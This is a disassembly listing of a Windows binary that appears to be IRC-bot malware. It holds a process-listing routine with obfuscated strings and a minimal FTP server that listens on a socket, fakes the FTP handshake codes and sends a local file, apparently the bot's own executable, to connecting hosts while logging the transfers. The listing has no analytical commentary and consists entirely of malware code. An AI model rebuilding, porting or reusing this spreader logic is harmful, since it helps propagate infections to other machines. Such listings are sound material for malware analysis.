		test	eax, eax
		jnz	loc_41E8AA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E892
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E892
		mov	ebp, dword_50F8D0


loc_41E81E:				; CODE XREF: sub_41E710+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E81E


loc_41E892:				; CODE XREF: sub_41E710+62j
					; sub_41E710+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ECC7
; ---------------------------------------------------------------------------


loc_41E8AA:				; CODE XREF: sub_41E710+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E99E
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ECC5
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_443FEC
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ECC7
; ---------------------------------------------------------------------------


loc_41E99E:				; CODE XREF: sub_41E710+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB05
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EAED
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EAED
		mov	ebx, dword_50F8D0


loc_41EA86:				; CODE XREF: sub_41E710+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_443FE0
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EA86


loc_41EAED:				; CODE XREF: sub_41E710+2CFj
					; sub_41E710+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ECC7
; ---------------------------------------------------------------------------


loc_41EB05:				; CODE XREF: sub_41E710+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EBFC
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ECC5
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_443FD8
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ECC7
; ---------------------------------------------------------------------------


loc_41EBFC:				; CODE XREF: sub_41E710+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ECC5
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ECC5
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ECC5
		push	ebx
		push	offset dword_443FCC
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41ECC7
; ---------------------------------------------------------------------------


loc_41ECC5:				; CODE XREF: sub_41E710+1F0j
					; sub_41E710+44Ej ...
		xor	al, al


loc_41ECC7:				; CODE XREF: sub_41E710+195j
					; sub_41E710+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E710	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EE60:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43B28A+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EE90:				; CODE XREF: ___:0041EEA1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEA3
		push	3E8h
		call	edi
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEA3:				; CODE XREF: ___:0041EE98j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_447277
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EEC9:				; DATA XREF: ___:loc_41EEDCo
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EEDC:				; DATA XREF: ___:00441554o
		mov	eax, offset loc_41EEC9
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF20	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EFE0	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EFE0
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_4368E0
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44764F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F067
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F70A
; ---------------------------------------------------------------------------


loc_41F067:				; CODE XREF: sub_41EFE0+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F097
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F70A
; ---------------------------------------------------------------------------


loc_41F097:				; CODE XREF: sub_41EFE0+93j
		mov	al, byte_4E6E44
		test	al, al
		jz	loc_41F700
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F0B2:				; CODE XREF: sub_41EFE0+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F0CD
		push	0FAh
		jmp	loc_41F6EB
; ---------------------------------------------------------------------------


loc_41F0CD:				; CODE XREF: sub_41EFE0+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F6E6
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		call	near ptr 71AC0B50h
		nop
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F6F1
		mov	cl, byte_447DB8
		test	cl, cl
		jz	short loc_41F17F
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44764F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447958
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 28h


loc_41F17F:				; CODE XREF: sub_41EFE0+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_444068 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444068 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444068 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444068 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444068 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444068 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_69BB85
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F645
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F645
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F570:				; CODE XREF: sub_41EFE0+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F5C3
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F570


loc_41F5C3:				; CODE XREF: sub_41EFE0+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F62C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447958
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 2Ch


loc_41F62C:				; CODE XREF: sub_41EFE0+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F645:				; CODE XREF: sub_41EFE0+55Bj
					; sub_41EFE0+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F6E6:				; CODE XREF: sub_41EFE0+109j
		push	9C4h


loc_41F6EB:				; CODE XREF: sub_41EFE0+E8j
		nop
		call	near ptr 28C1E38h


loc_41F6F1:				; CODE XREF: sub_41EFE0+140j
		mov	al, byte_4E6E44
		test	al, al
		jnz	loc_41F0B2
		pop	ebp
		pop	ebx


loc_41F700:				; CODE XREF: sub_41EFE0+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F70A:				; CODE XREF: sub_41EFE0+82j
					; sub_41EFE0+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EFE0	endp ; sp-analysis failed

